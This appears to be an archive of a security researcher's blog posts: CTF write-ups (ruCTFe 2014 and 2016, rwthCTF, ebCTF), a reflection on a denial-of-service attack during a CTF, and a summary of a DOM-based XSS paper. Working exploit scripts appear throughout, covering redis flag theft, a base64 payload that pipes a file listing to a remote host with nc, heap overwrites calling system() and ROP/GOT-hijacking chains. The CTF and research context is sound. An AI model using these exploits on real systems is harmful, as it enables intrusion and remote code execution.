Some thoughts on ruCTFe 2016

Turns out, I haven’t written anything here for a while. Actually, the last post was about the 2014 ruCTFe and it ended on a positive note. This post will be a little bit different, but we will get to that in a bit.

Playing ruCTFe 2016

After having switched teams to saarsec at the end of 2015, we had just recently done two workshops to recruit new members. I was very excited for the CTF and eager to see how well we would perform this year, after having taken 3rd in last year’s ruCTFe and finishing 2nd at the ruCTF in Yekatarinburg in April. In the beginning of the CTF, things were (as usual) pretty hectic, but we managed to set everything up and analyse the services. When the game started, we did not yet have anything exploitable, but neither did any other team. Throughout the competition, we found a number of bugs and also saw attacks against us, which allowed us to detect more hotspots in the services.

After finding our first couple of exploits, we quickly ascended to the second place in the scoreboard, trailing the team “Eat Sleep Pwn Repeat” (ESPR), which should also eventually win the CTF. Things were going smoothly and we appeared to have more exploits than ESPR, so we were slowly catching up to them, as can also be seen from the graph below (us being the yellow line, them being green).

scores

Denial of Service against our Vulnbox

At around 18:10 UTC, which corresponds roughly to round 430 of 480, our vulnbox suddenly was completely unresponsive, showing a load of over 100. My first guess was that the weather service, which had a vulnerable that would allow an attacker to send it to an endless loop, got stuck again. Since this year’s ruCTFe was using LXC, I tried to stop the container, but even that did not work at all. So, instead I went the hard way and reset the VM altogether.

After the reboot, I logged in again, which worked fine. However, immediately after that, the load was up again. This time I could still actually execute commands, so a quick look at top told me that it was SSHd causing the high load. Even though the organizers had left their own SSH keys on the vulnerable image, which indicates that they might want to log in during the CTF, I figured I would disable SSH for them (by changing the port) rather than having our vulnbox completely unreachable. That being said, I changed ports and the problem went away. Nevertheless, we were offline for about 10-15 minutes intermittently, which hurt our SLA score, which eventually was multiplied with the worth of the flags we had stolen. This is also visible in the graph by the dent around rounds 430-445.

In the end, we finished 2nd and are still very excited to have performed that well.

Aftermath

After the CTF, we packed up our gear and went home. When I arrived, I wanted to understand exactly what had been going during the DoS attack. So I went through the PCAPs and found a large number of SSH connections going to our vulnbox. While I still don’t understand exactly what the attack entailed, the sheer numbers already hint at what could have been the problem. To give an estimate: between 18:11 and 18:17, 11,948 connections were established (or at least tried to be) to our SSH server, whereas at 18:15 we reached the peak of 3,539 connections in a minute. So, I went on the IRC channel to ask if other teams had also experienced such an attack. Even though no team responded, one of the orgas of ruCTFe was kind enough to share some insight:

[13:01:09] < bay_> saarsec|ben, you've beed dosed from 10.60.4.253

Since all traffic in the CTF is NATed, I only saw traffic with the source of the VPN gateway. Checking on the teams, I realized that this IP address belonged to team Eat Sleep Pwn Repeat, the winners of the CTF. Judging from us catching up nicely in the last hours of the CTF (visible in the graph), I guess the motivation for such a behaviour is quite clear (especially given that the winner would be qualified for DEFCON CTF and gets ~2000€ in price money).

Implications

For the result of the game, this attack did not change too much. Even with a higher SLA score, we would only have cut the lead of ESPR in half, but would not have won the game. One might argue that rather than trying to find out what went wrong with the vulnbox, I could have spent time on our (sadly, buggy) exploits for atlablog and we could have scored more there. However, this is a moot point. Rather, I want to discuss some of the implications that such behaviour has on future CTFs.

According to the rules of ruCTFe, this was not necessarily forbidden. The rules state that teams are not allowed to “Generate large amount of traffic that poses a threat to network stability of any other team;”. I checked our VPN traffic dump and our network stability as such was not threatened. One could also argue that the rules do not state that SSH needs to be accessible from the VPN. Additionally, we could have changed the SSH config to, e.g., only allow key auth (which might have stopped the attack, I honestly don’t know). So, to sum up: this attack was not explicitly forbidden by the rules of the CTF and we might have stopped it by configuring SSHd differently.

If we start with SSHd, what is next?

My issue here is more with the general mindset behind such an attack. It is very clear that the goal was to stop us from catching up and potentially wining the CTF (which we would not have either way). However, allowing such behaviour sets a very dangerous precedent for future CTFs. This year’s ruCTFe relied on nginx to act as a reverse proxy towards the actual services. As basically any HTTP server, it is susceptible to a so-called Slow Loris attack, which keeps all the worker threads busy, so new request cannot be handled (i.e., in the sense of the CTF, your service is not reachable and you get no points). What would keep a team from doing this? Assuming that we would have retaliated against their Web server, we could have won the CTF simply by taking them offline, lowering their SLA and therefore total score.

I have been playing CTFs for 10 years now. Maybe that makes me “oldschool” or something, but my general feeling is that a CTF is a competition where the goal is to hack other teams’ services to break into them to steal flags. In some cases, services will allow for a denial of service, e.g., by deleting flags. While I accidentally did this two years ago (due to the lack of knowledge of redis commands :(, see here), no team I have ever played for intentionally crashed a service. Even then I would say that this something which can be fixed by simply patching the service. There is a whole lot of additional things to discuss (e.g., vulnerable teams can’t be exploited to steal flags if they are down, leaving the teams with working exploits out in the rain), but this post is long enough already.

I understand that the stakes are much higher than they were a couple of years ago. Nowadays, CTFs have prizes and everyone wants to get them. I feel, however, that this behaviour is not in the spirit of a CTF and should be discouraged going forward. Otherwise, we will have competitions where some idiot will ruin all the fun because everybody is down all the time. And honestly, from the organizer’s perspective, I would be less than thrilled if someone spoiled the fun which cost me a lot of work to set up.

So, if you managed to get here, I am looking very much forward to comments and your thoughts on the issue. And please don’t run the attack from the CTF against my server now…

Disclaimer: I am not writing this post because we finished second. Rather, this behaviour would have pissed me off the same way if any team did this to any other team…

ruCTFe 2014 Write-Up pidometer

Our team FAUST competed in the 2014 ruCTFe and finished third overall in the competition. When the CTF started, I (this happens more frequently than one might guess) decided to look a service called pidometer.

The service

The service was a simple telnet-like service, view had only five commands: register, add, view, activity, and Question. In order to store flags, the service used a redis key-value store (which we will come to a little bit further down the road…)

The gameserver would initially check the Question functionality (always returning 42) and subsequently register a new account, get the token and add a flag:

Welcome to Pidometer: most powerfull tracker for your fitness, maths!
register zi67-3ohr-ll13
Token: 4A7B17E76476C7C4D2AEB393F8DE084A
add 4A7B17E76476C7C4D2AEB393F8DE084A OC4V0ZHFY48B0TKAUY5OWU8X47LUNDO=
stored: 73000
The token was generated by the service, using the GOST (after all, this is russian CTF) algorithm to encrypt the registered username. Interesting to note in the following are three things: 1) the algorithm is used in ECB (eletronic code book) mode, which means that any two blocks of the same blocksize (which is 64bit or 8 byte with GOST) will be encrypted to the exact same ciphertext and 2) the fact that the register command does not check if a user has already been registered beforehand. Lastly, all teams have the exact same key (which I believe is passed to cr using the first argument of init.
from redis import StrictRedis as DB
from mcrypt import MCRYPT as CR

db = DB(host='127.0.0.1', port=6379, db=0)
cr = CR("gost", "ecb")
cr.init("0" * 32)
... 

# register
def func2(n):
  cr.reinit()
  try:
    return "Token: " + base.b16encode(cr.encrypt(n)) + "\n"
  except:
    return "Register fails\n"

Redis

All of these constitute the first three vulnerabilities in the actual service. However, it was much easier to get all the flags to begin with (and worked pretty well against almost any team across the board): the redis instance was not bound to 127.0.0.1, but to 0.0.0.0. This allowed any team to connect to the redis directly and retrieve the flags rather than exploiting the service itself. In total, we got 3890 valid flags this way (even 26 flags from team dcua that finished second o.O).

When initially developing the exploit, I partially screwed up: I did not really know which redis command to use to retrieve the flags. I knew that flags were stored as lists for a given key, but did not know how to use lrange properly. A quick google search then gave me blpop, which – as the name suggests – pops items from a list rather than just reading them. Thus, our first exploit looked something like this:

rconn = redis.StrictRedis(host=target, socket_timeout=2)

for key in rconn.keys("*"):
  try:
    print rconn.blpop(key,1)[1]
  except Exception, e:
    pass

Lucky for us and less lucky for all other teams this actually removed the flag from the target system. Therefore, throughout the CTF our team was way in front in terms of stolen flags for that service, because we accidentally deleted them from the target host 😡 Well, shit happens 🙂

Re-registering accounts

As already discussed, the service also had an activity command, which would list the last entries (not the tokens, only the user names). Since the register function did not have any safeguards in place to ensure that a user would not register again, we simple used this to register a user again, thereby learning the secret token and retrieving all the flags 🙂 For some reason, I did screw up the exploit and it did not really work as well. However, since the service had some issue unknown to me which crashed it quite regularly, I did not bother to check why the exploit did not work – especially since the open redis server one still worked like a charm.

The fix for this was quite straight forward. Since we did not want people to register again, we simply built in this check:

# register
def func2(n):
    users = db.zrange("users", 0, 1000)
    print "register", n
    if n in users:
        return "Register fails\n"
    cr.reinit()
    ....

Abusing the known key issues

Since we knew the algorithm as well as the key used, we wrote another exploit that would specifically target this flaw: just reading the username and then manually calculating the matching token. Subsequently, we extracted the flags 🙂 We did not run this exploit for too long, especially because we found another one a little later.

Our fix for this was to simple change both the key and the mode (to CBC), which also worked quite nicely.

RCE in the add command

Lastly, we actually did not really understand this vuln at first, but luckily somebody did and attacked us with it. I will get around to showing some vulnerable code later on, but our vulnbox only contains a patched version 🙂

Welcome to Pidometer: most powerfull tracker for your fitness, maths!
add 85016742A809FC858FFD4A71A8A17B8B abc-defbbbbbbbbbbbbbbbbbbbbbbbbb-eval(base.b64decode("X19pbXBvcnRfXygib3MiKS5zeXN0ZW0oImxzIC1hbCB8IG5jIDEwLjYwLjIyNC4xNTEgMTIzNCIp"))
stored:\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x880 1884

Rather than just reading the flags, this actually just echoed a listing of the file system back to team 0daysober. We found this connection and decided to basically copy their exploit. However, rather than using a backconnect (which also other teams did against us), we decided to go with the easy (yet also easy to copy) way and just extracted all the values (this time using lrange…) directly. In total, the exploit looked as such:

tn = telnetlib.Telnet(target, 27)
data_read = tn.read_until('maths!\n', 2)

evilcode = 'str([x for x in [db.lrange(f, 0, 1) for f in db.keys() if len(f) == 32]])'
tn.write('add 11 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%s\n' % evilcode)
data_read = tn.read_until(t0\n', 2)

This allowed us to steal another 1015 valid flags from all teams, making pidometer our “cash cow” in terms of stolen flags.

Summing up

Summing up, I can only say that I had a lot of fun playing ruCTFe this year. Although at first, I was quite frustrated with the “OS zoo”, we still got a great result. Hope to see more CTFs like this, although I recently learned that rwthCTF appears to be dead in the water :-/

So, Hackerdom, keep up the great work and maybe do two CTFs per year? 😉

rwthCTF Write-up bank

Although it was a little time ago, I felt motivated to do write-up of the bank service from rwthCTF. Also, I need to clear my head to continue writing a paper, thus.. here we go! 😉

So, bank was a binary service. Its purpose was to store “shitcoins” in the system. It gets clear when we look at what the gameserver does. Screen Shot 2013-12-03 at 15.00.23

He creates two users, logs into the service with the first created user and then transfers 1$ to the second created user – with the reference being the actual flag. Analogous to that, retrieving the gameserver works similarly – namely logging into the second account and printing the log. As the keen observer may already have seen is the fact that the flag is written to the log of the recipient as well as to the admin log. This actually is the first flaw in the system since all flags are stored into this admin log. Thus, logging in as the admin, we can get all the flags. Initially, the admin account was not registered and the first attacks we encountered actually first registered this account and then retrieved the log.

The fix in this case was simple (or so we and most other teams thought) – change the admin password. This fended off the waves of attacks that were fired against us and we could easily copy the exploit with which we were attacked.

Once we looked further into the binary, we found a function which we named switch_command that took the command (REGISTER, LOGIN, …) and hashed it. Afterwards, if the hash matched on of the predefined ones in the binary, the corresponding function pointer was returned. The following shows what IDA’s Decompiler (with a little structure and array magic) restored.

Screen Shot 2013-12-03 at 15.10.45

We see that there as some hidden functions which are not used by the gameserver and that are not listed in the HELP command, namely dbg, delete_transaction and admin_backdoor. dbg already screams vulnerability, so let’s look at that part then (again decompiled and annotated). The hash function was a bit complex, but trial-and-error gave us DBG and DEL immediately.

Screen Shot 2013-12-03 at 15.13.25

The binary actually did not use “normale” strings but some weird, self-implemented and encrypted type called fu_str (at least that’s what the asserts in the binary called it). What actually happens in this little piece of code is the transformation of the encrypted, user-provided data first to it’s unencrypted form and then – using atoi – the conversion to an integer. This integer is then used as a pointer in asprintf. It is then written back to the client – essentially allowing us to read arbitrary memory read access.

At this point, we need to take one step back. The underlying storage for flags and users was redis – a key-value store. On login, the service would first look up the username and if that existed, for the matching user, the password. Obviously, this means that at some point every password is in the memory in plain text! A little gdb magic helped us out here and showed that we could find our password a fixed address. However, we figured that (we and) other teams used ASLR to randomize address space. Luckily, in the main function, we found a lot of allocations of fustr structures assigned to global variables. Since global variables are (if un-initialized) in the BSS which is always fixed, reading an address from the BSS allows us get a base address for the heap!

Our exploit from that point was straight forward: use the DBG command to  read the address from the BSS, add the fixed offset we know and then read memory as long as we do not see a \r (which ended the result that came from redis).


def main():
 ip = sys.argv[1]

tn = telnetlib.Telnet(ip, 3270, 2)
 tn.read_until(">",2)

tn.write("LOGIN Admin yomamma\n")
 tn.read_until(">",2),
 tn.write("DBG 134572876\n")
 addr = tn.read_until(">")[2:9]
 #print fillup(addr)
 addr = struct.unpack("!I", fillup(addr).decode("hex"))[0]

admin_pass = addr + 1020
 offset = 0

print "Adress is at %x" % admin_pass

recvd_password = ""

while 1:
 tn.write("DBG %s\n" % (admin_pass + offset))
 reply = tn.read_until(">")
 try:
 part = re.findall(":([a-f0-9]+)", reply)[0]
 part = fillup(part)
 recvd_password += part.decode("hex")[::-1]
 except Exception, e:
 print e
 break
 if "\r" in recvd_password:
 break

 #raw_input("go")
 offset += 4
 recvd_password = recvd_password.lstrip().rstrip()

This allowed us to easily recover the admin password and subsequently log in with it. We patched this by simple changing one byte in the hash that matched the dbg function pointer – thus removing the command from the protocol.

Things we found after the CTF..

During the CTF, we never got around to brute-forcing the hash for the admin backdoor. We later found that entering “bOQs” would have done the trick, but would have been noisy as hell and very, very easy to copy. We also figured that most teams would have changed the bytes for the admin backdoor as well..

The last (at least known to me) vulnerability was in the DEL command. To understand the vuln, we have to go into detail on the structure representing the fustr. Along with a pointer to character buffer and information like the length of the buffer, it also stored a pointer to the encryption function. Normally using the service, this encryption function pointer would be assigned to all strings equally. Ok, let’s take a look at DEL now..

Screen Shot 2013-12-03 at 15.30.38

 

Looking at the code, we quickly see that the right part of the split string (usage like DEL 1 aaaa) is written over the left, encrypted string. Looking at the memory, we can soon see that the buffer to the encrypted strings are allocated on the heap just as well as the fustr structs. If done properly, we can abuse this to overwrite the right string structure’s encryption pointer (see the fstr_decrypt(right) after the for-loop). A lot of testing later, we finally figured out how to exploit this to run system(“our code”); The exploits looks as follows – don’t mind the big number of padding at the end, I just wanted to ensure that the length of the complete string always remained the same so I could concentrate on the exploit rather than on the offsets 😉


import struct
import re
import telnetlib
import sys

target_len = 640
relative = 0x8057b40 - 0x8057128

# offsets in libc
malloc_offset = 0x75460
system_offset = 0x3b990

tn = telnetlib.Telnet("10.22.8.1", 3270, 1)

tn.read_until(">", 2)
tn.write("DBG %d %d\n" % (0x08056A2C, 0x08056B4C))
result = tn.read_until(">", 2)
(malloc, heap) = re.findall(":([0-9a-f]+)", result)
# leak the address for malloc from libc and a fixed pointer on the heap
print "malloc@libc %08x, heap: %08x" % (int(malloc, 16), int(heap, 16))
print "libc base %08x" % (int(malloc, 16) - malloc_offset)
system = int(malloc, 16) - malloc_offset + system_offset
enc_ptr = int(heap, 16) + relative
enc_ptr = struct.pack("<I", enc_ptr)
system = struct.pack("<I", system)
tn.write("REGISTER foobar foobar\n")
tn.read_until(">", 2)
tn.write("LOGIN foobar foobar\n")‚
tn.read_until(">", 2)

payload = ";" * (16 + 12)
before_cmd = len(payload)
payload += sys.argv[1]
remaining = 32 - (len(payload) - before_cmd)
payload += ";" * remaining # pad it up
payload += "\x01;;;" # strlen
payload += "AAAA" # random
payload += system # system
payload += enc_ptr
payload += "A" * (640 - len(payload))
command = "DEL 1 %s\n" % payload

tn.write(command)
tn.read_until("unimplemented", 2)
tn.interact()

All in all, this was a great service. I’m quite sad that I did not focus more on the DEL exploit.

Summary of our CCS paper on DOM-based XSS

Since the traffic on my server has gone up due to the fact that Sebastian linked my paper on twitter, I thought about writing a short summary of the paper as such.

So, what is DOM-based XSS?

In contrast to the quite well-known types of Cross-Site Scripting, namely persistent and reflected Cross-Site Scripting, DOM-based XSS is not caused by insecure server-side code but rather vulnerable client-side code. The basic problem of XSS is that content provided by the attacker is not properly filtered or encoded and thus ends up in the rendering engine in its malicious form. In terms of DOM-based XSS the sources for these kinds of attacks stem from the Document Object Model (DOM). The DOM provides access to HTML document as well as additional information like cookies, the URL or WebStorages.
I guess the most common thing we saw in our study was code similar to the following:

<script>
document.write("<iframe src='http://adserver/ad.html?
referer="+document.location+"'></iframe>")
</script>

The page tries to build an iframe with advertisement inside. The ad provider wants to be aware of the URL that included it and thus writes the complete location into the src attribute. Nevertheless, this is a vulnerability since the attacker might be able to control the URL completely. At this point, it is necessary to explain how browsers encode data coming from the DOM. While Firefox encodes everything coming from the document.location object (such as the complete location, the query parameters and the URL fragment (denoted by the # mark)), Internet Explorer does not even encode the complete URL. Chrome is somewhere in the middle, encoding the query parameters but not the fragment. Thus, an attacker could easily lure his victim (using IE or Chrome) to a URL such as http://vulnerab.le/#’/><script >alert(1)</script>. Looking at the above example, this would lead to the following being written to the document:

<iframe src=’http://adserver/ad.html?referer=’http://vulnerab.le/#’><script>alert(1)</script>‘></iframe>

Obviously, this will work in IE and Chrome, whereas it will not work in Firefox, since the ‘ is encoded as %27.

How to detect DOM-based XSS?

One option to detect any kind of vulnerability is static code analysis. In server-side programming languages like PHP, static code audit is often used to detect vulnerabilities. However, JavaScript is tricky to statically analyze due to the constant use of eval() and the fact that it allows prototype chaining. Also, an object can have functions added to it during runtime. These things make it harder to statically analyze JavaScript. Therefore, we decided to do a dynamic analysis. In terms of XSS, we can abstract vulnerabilities to being data flows from attacker-controllable sources to security-critical sinks. This already suggests our approach – dynamic data flow tracking or taint tracking. Taint tracking is a concept where we mark pieces of data that might come from an attacker as “dirty” or tainted. If this piece of tainted data ends up in a sink, this flow might be vulnerable. However, flows like the one depicted above are not the ones that happen all the time. Usually, some part of the URL is extracted or tainted data is concatenated  with untainted (benign) data. Thus, not only tainting a string is necessary, but rather also passing on the taint in all string operations. Our first thought was to implement this into a headless browsing engine like HTMLUnit. However, these engines usually are not as “up to date” as real browsers and also don’t implement certain edge cases. Thus, we opted to implement our approach within Chromium, the open-source counterpart of Google Chrome.

To be able to automatically verify that a given flow is vulnerable, we decided to implement our taint-tracking on per-char level. Thus, we need to store the source of each and every character in strings that might contain any piece of tainted data. To allow for this to work, we opted to store the taint information for one character in an additional byte. In this byte, we store the numerical identifier for a source. Since we only have 14 sources relevant to our approach, we can store this information in the lower four bits of the allocated byte. If a character is not stemming from a DOMXSS source, we set the source identifier to 0.

JavaScript implements three built-in encoding functionalities, namely escape, encodeURI and encodeURIComponent. These, if used properly, can stop DOMXSS attacks. Therefore, we want to ensure that if a string is passed through one of these functions, the taint information reflects this fact. Since we still had four bits left in our taint byte, we used bits 5 to 7 encode whether any of these functions were passed (as a bitmask).

Our tainting needed to work both inside the V8 JavaScript engine and the WebKit (now Blink) rendering engine. As V8 is highly optimized and objects in there do not have actual member variables but rather consist of a header and (for strings) and allocated piece of memory to store the characters. Inside the header, different “variables” are identified by their offset. Thus, just adding a new piece of information is quite hard. However, inside V8, objects of the same built-in types (such as strings, integers or different types of numbers) share a so-called “map”. This map identifies the type of object. Inside this map class (C++ class), we found a bitmap storing information on the type of object. This bitmap still had 3 bits unused. Thus, we chose to add new “type” to V8 (namely tainted string, actually one kind of tainted string for each of the types already available in V8). Whenever pieces of information come from DOM sources, we change the type of the resulting string to the tainted one. In V8, we now allocate additional length bytes right behind the actual character data and fill it with the taint information. For WebKit, the task is easier, since it employs member variables. Thus, in there, we added a new vector to the string class and store the taint information in there.

On access to either sinks inside the DOM (e.g. document.write) or JavaScript (e.g. eval), we want to somehow report this flow. To keep the changes (already ~4k LoC) to the browser as small as possible, we opted to implement a Chrome extension to handle analysis of the taint information. Thus, whenever we see access to a sink, we try to call a function (reportFlow) that is injected into every page we load by our extension. This information is passed on to the extensions backend and further parsed. The following figure shows the complete system.

analysis

Large-scale study

After we implemented the tainting and Chrome extension, we started a shallow crawl of the Alexa Top 5000. The extension allowed us to control multiple computers running multiple tabs to visit a total of 504,275 URLs. In total, since a lot of pages actually include other frames (mostly advertising..), we gathered data for 4,358,031 documents. In these, we discovered a grand total of 24,474,306 data flows. This process took us roughly 5 days on 6 really old machines. We have now improved the performance of the extension and got new hardware which now allows us to crawl roughly 60,000 URLs per day per machine. The following table shows the amount of data we gathered – the rows depict the sinks, the columns the sources.

table

Validating vulnerabilities: exploit generation

At this point, it is important to understand that a flow as such does not necessarily lead to a vulnerability. As mentioned before, encoding the data might (if the right function is used for the right context) help. Also, if e.g. the URL is changed, the server might not provide the same, vulnerable code. A third option is that common filters are used that only allow certain types of data (e.g. only integers). To actually validate that a flow is vulnerable, we decided to implement an automated exploit generator. Since we have detailed information on the sink context (HTML or JavaScript) as well as exact location of the tainted data, we were able to built an exploit generator that is capable of building precise payloads to trigger the vulnerabilities. Since this part was mainly done by Sebastian, I refer you to the the paper or our talk at CCS in November for details on the implementation.

As a first approach, we only selected to generate exploits for sinks that allow direct code execution (HTML and JavaScript contexts) and not second-order vulnerabilities like cookies or WebStorage (as depicted in yellow in the table). Also, we decided to only use sources that are easily controllable – mainly the URL and the referrer (depicted in green). In total, we looked at 313,794 possible security-critical flows. Using the exploit generator, we built a total of 181,238 unique exploit test cases. This stems from the fact that if e.g. the same iframe is written to the document in the same manner twice, the payload breaking out of the context and triggering our verification function is the same. Out of these, we were able to trigger our reporting function 69,987 times. However, obviously this does not mean that we actually have 70k vulnerabilities in the Alexa Top 5000. In order to zero in on the actual amount of vulnerable pieces of code, we designed a uniqueness criterion. From our taint analysis, we are also able to determine the exact position of the sink access in the code. Here, we need to distinguish between three types of locations: an inline-script inside the page, an external javascript file or inside eval(). For the first, we get the URL of file (obviously) as well as the the line and the offset in the line. The same holds true for external JS files, whereas when inside an eval, we cannot determine the file name but only line and line offset. Thus, as the criterion for external scripts, we use the complete URL including line and line offset. For inline scripts, since we don’t know if the script in e.g. a CMS will always be placed in the same line, we only use the line offset. For eval, we use line and line offset. All these are combined on a per-domain basis, whereas domain is the normalized second-level domain (thus www.foo.bar and test.foo.bar share the same “domain”).

Results

In this, we found that the exploits triggered 8,163 unique vulnerabilities. However, as already discussed, pages often include third-party content – in this case also coming from outside Top 5000. Filtering out all those domains not inside the Top 5000, we found a total number 6,167 unique vulnerabilities on 480 different domains. It is notable that due to our shallow crawl, this number is surely a lower bound.

Concluding, if you want to have a more detailed presentation of the paper, please see our talk at CCS.

myPhD in Hamburg

So, just now I’m sitting in the train back from my trip to the myPhD workshop in Hamburg. myPhD is a workshop backed by multiple IT security professors in Germany and appearantly is done more or less round-robin in each city. The program consisted of multiple talks, categorized as short talks (5-10mins), research talks (20-25mins) and experience talks. In this, the first category was meant for ideas just being developed, the second talks were meant for PhD students a little bit into the “process” and the experience talk was given by a close-to-finishing PhD.

In terms of people, this was a really great workshop. All people I talked to were quite nice and also gave feedback on what was being presented. Although my field of WebSec was only represented by three people, I also heard a lot of interesting talks. I also got to know some guys from the University in Göttingen and we discussed a nice little project for collaboration. This was mostly done at the social event over one or the other beer, which proves the importance of these kind of “meetings”.

All in all, I had a great time. Nevertheless, I hope that the next myPhD will actually be a little closer to Erlangen, since 5h train rides aren’t the greatest thing to have 😉

PS: we also got some nice feedback on the work (download here) we did for CCS. I am really looking forward to having our work presented in Berlin in november!

ebCTF 2013 pwn300 write-up

Sadly, I only have time right now to do this write-up, thus the service is no longer online.

Basically, the service is simple gopher daemon. When we first opened netcat to the daemon, we did not get a reply. Looking at the code shows us why:

Screen Shot 2013-08-11 at 21.00.17

Note that we already renamed the variables to match their semantics. It first checks to see if the string is longer than 1 char. It then checks to see that buffer[length-2] == 0xd and buffer[length-1] = 0xa – translating to a check for \r\n. If this is the case, it moves null bytes into these positions and continues. Thus, let’s send just a \r\n. Doing this leads to a reply 🙂

The daemon welcomes us with some information on the CTF and afterwards a list with all available files. Alongside these is the entry

0FLAG	0f4d0db3668dd58cabb9eb409657eaa8	gopher.eindbazen.net	7070

Without looking at the binary any further, let’s send 0f4d0db3668dd58cabb9eb409657eaa8 – sadly (but nevertheless of course), it returns ACCESS DENIED. Later analysis in the binary shows us that upon loading all files, the content of FLAG is actually replaced with the aforementioned ACCESS DENIED. Thus, let’s continue. The first though that comes to mind (especially since this is a pwn challenge) is a buffer overflow. So, we turn to the function beginning where data is read from the client.

Screen Shot 2013-08-11 at 22.09.39

Sadly, we note that the buffer used is 0x11F away from the ebp and we only read 0xff bytes 🙁 So, this obviously cannot be abused. However, at 0x08049593 we find a call to a function ascii_to_bin which is given two parameters – are reference to variables read_buffer and transformed_hash (both renamed for better readability). So, let’s look at what the code does…

Screen Shot 2013-08-11 at 21.05.08

In terms of abstraction, we note that the loop iterates from offset_in_string = 0 until offset_in_string = strlen(s) and is incremented twice in the loop body. The function n_to_i transforms the hexlified input character into its byte abstraction – basically the string “aa” is transformed into one byte, namely \xaa. This method appearantly has no bounds-checking. So, let’s abuse this! Looking back at the original function, we see that the address in which this function writes is located only 0x20 away from the EBP. Thus, in order to completely fill up all the 0x20 bytes up to the EBP, we need 0x40 bytes of string data (remember, it is unhexlified). Next, we can overwrite the SFP and the return address. To jump to our own address, we just need to write it in its hexlified form.

The first test in gdb worked fine in jumping somewhere. However, when we tried to actually exploit the vuln, we got a SIGSEGV. Backtracing that we found that the call to ascii_to_bin was followed by a call to hashlist_find.

Screen Shot 2013-08-11 at 21.00.25

Quite apparent in this the parameter provided: arg_4. As argument are located on ebp+8 upwards (arg_4 is then located at ebp+8+4 = ebp+0xC), we must be careful not to break things here. Thus, we ran the daemon on our own server, looked into it with GDB and figured the proper address for it to put into our ROP chain.

Summarizing, our ROP payload needs to fulfill the following requirements:

  • It must fill up 0x20 bytes of buffer before we reach the SFP (located at the current EBP)
  • We are free to do what we want with EBP+4 (return EIP) and EBP+8 (first argument to the function)
  • We must make sure that EBP+0xC still points to a readable location

Since we must have the proper address at EBP+0xc, we must have some ROP gadget which “clears” this away. Looking at the binary with ROPgadget, we quickly find one at

0x0804a7dd: pop esi ; pop edi ; pop ebp ; ret

This removes the next three items from the stack into registers we do not really care about. Thus, we overwrite the RIP with said address, put some random stuff into EBP+0x8 and EBP+0x10 and put the proper address into EBP+0xC. This way, hashlist_find still works and we can nevertheless continue with our ROP chain.

The goal for us was – although this might be overkill here – to utilize GOT hijacking to solve this challenge. In this case, the binary only forked. In forking, memory is used copy-on-write — meaning that until memory is chained, the child and the parent share the same memory. Obviously, this could not work if the address space was to be randomized when forking. Thus, leaking a libc address once is sufficient. Nevertheless, I like the attack so I’m going to present it here.

Often within return-to-libc attacks, the binary does not use  the function wanted by the attacker (such as system). However, knowing what libc is used, an attacker can still leverage the fact that the whole library is mapped to memory. We assume that we know the address of the function write somehow and we also know which libc version is used. We can then analyze the library and determined the offset of write and – for our attack – system. We now calculate the difference between these two addresses. Since we know where the function write is mapped in memory, we can easily deduce where system is. Thus, we can just call it directly. As programs are supposed to work with multiple versions of libraries, the addresses cannot be hardcoded in the binary. Therefore, an ELF file has a so-called Global Offset Table. The GOT is basically a jump table for library calls and is filled during runtime upon first calling a library function. As subsequent calls to the same function can then be made directly without the need for resolving.

The concept of GOT hijacking aims at just this fact. Firstly, the GOT offers us a nice way to retrieve the memory address of a libc function. If full RELRO is not active, the GOT is also writable. The basic idea behind GOT hijacking is to first read an address from the GOT and leak it to the attacker. The attacker may then calculate the address of the function he actually wants to call. The exploit code then waits for a new address being sent back from the attacker. This address is then written to the same location we leaked the address from earlier. This effectively overwrites the pointer to the function (say write) with a pointer to system. All we need to do now is jump to the Process Linking Table’s entry for write.

I wrote a python library for this task and will only go into detail on the exploit generation here.

payload = []
FUNC_PLT, FUNC = self.findTarget(func_overwrite)
# this is most likely send
SEND_PLT, SEND = self.findTarget(func_send)
READ_PLT, READ = self.findTarget(func_read)
for i in range(buffersize):
payload.append(struct.unpack("<I","{0}{0}{0}{0}".format(chr((i + 97) % 256)))[0])
# now, clean the stack just in case we need to access some args in the program itself
payload.append(clean_three)
payload.append(struct.unpack("<I", "CRAP")[0])
payload.append(struct.unpack("<I", "CRAP")[0])
payload.append(struct.unpack("<I", "CRAP")[0])
# now, retrieve the address to overwrite using the func_send function
payload.append(SEND)
payload.append(clean_three)
payload.append(fd_out)
payload.append(FUNC_PLT)
payload.append(4) # 32bit, thus 4 bytes to be send
# now, on the client, we may receive the address and do stuff with it 🙂

payload.append(READ)
payload.append(clean_three)
payload.append(fd_in)
payload.append(FUNC_PLT)
payload.append(4) # 32bit, thus 4 bytes to be read

# now we need to store our command somewhere, either give a location or use the BSS

payload.append(READ)
payload.append(clean_three)
payload.append(fd_in)
payload.append(location) # this is for our command line buffer
payload.append(length_cmd)
# now our string for system is here

payload.append(FUNC)
payload.append(0x01020304)
payload.append(location)

for p in range(len(payload)):
  payload[p] = self.translater(payload[p])

return payload

To fully understand the code, let’s recap how library functions in assembly (at least in x86) work. A library call is always made using the so-called cdecl calling convention. This means that parameters are pushed to the stack right to left. Since the stack grows downwards, this means that the first argument has the lowest address on the stack and the last one has the highest. Inside a function, variables may be allocated. Both variables and parameters are usually referenced using the base pointer (EBP). Normally, when calling a function, the return address is also pushed to the stack – thus ending up below the first argument in memory. Thus, when entering the function, the stack looks something like this

0xFF arg3
0xFB arg2
0xF7 arg1
0xF3 ret

Thus, a function always assumes that it must skip some bytes to reach its parameters. With ROP, we don’t really do calls. This means, if we want to have a function with parameters called, we need to make sure the parameters are in the form described above. This is illustrated in line 14 of the code listing. We put the address to our desired function SEND to the stack. When this function returns, the RET will actually pop the next element on the stack into the EIP register. In lines 16 to 18 we pass our parameters to the function. Let’s assume for a minute that the instruction at the address we put to the stack in line 17 was just a NOP. In the next step, the CPU would pop the next value into the EIP register. This obviously is not an address of an instruction we want to call but a parameter to SEND. Thus, here, we use a gadget which pops away the next three values. This means that the values put to the stack in lines 16 to 18 can be used as parameters, but the program will not try to jump to them when going through the ROP chain.

The call in line 41 just encodes our payload in the way we want it – in this case we to hexlify it. From hereon in, it’s simple. We have another script

t = telnetlib.Telnet(args.ip, args.port)
s = t.get_socket()
s.send("%s\r\n" % payload)
leaked_got = struct.unpack("<I", s.recv(4))[0]
libc_base = leaked_got - g.findExport(func_overwrite)
system = libc_base + g.findExport("system")
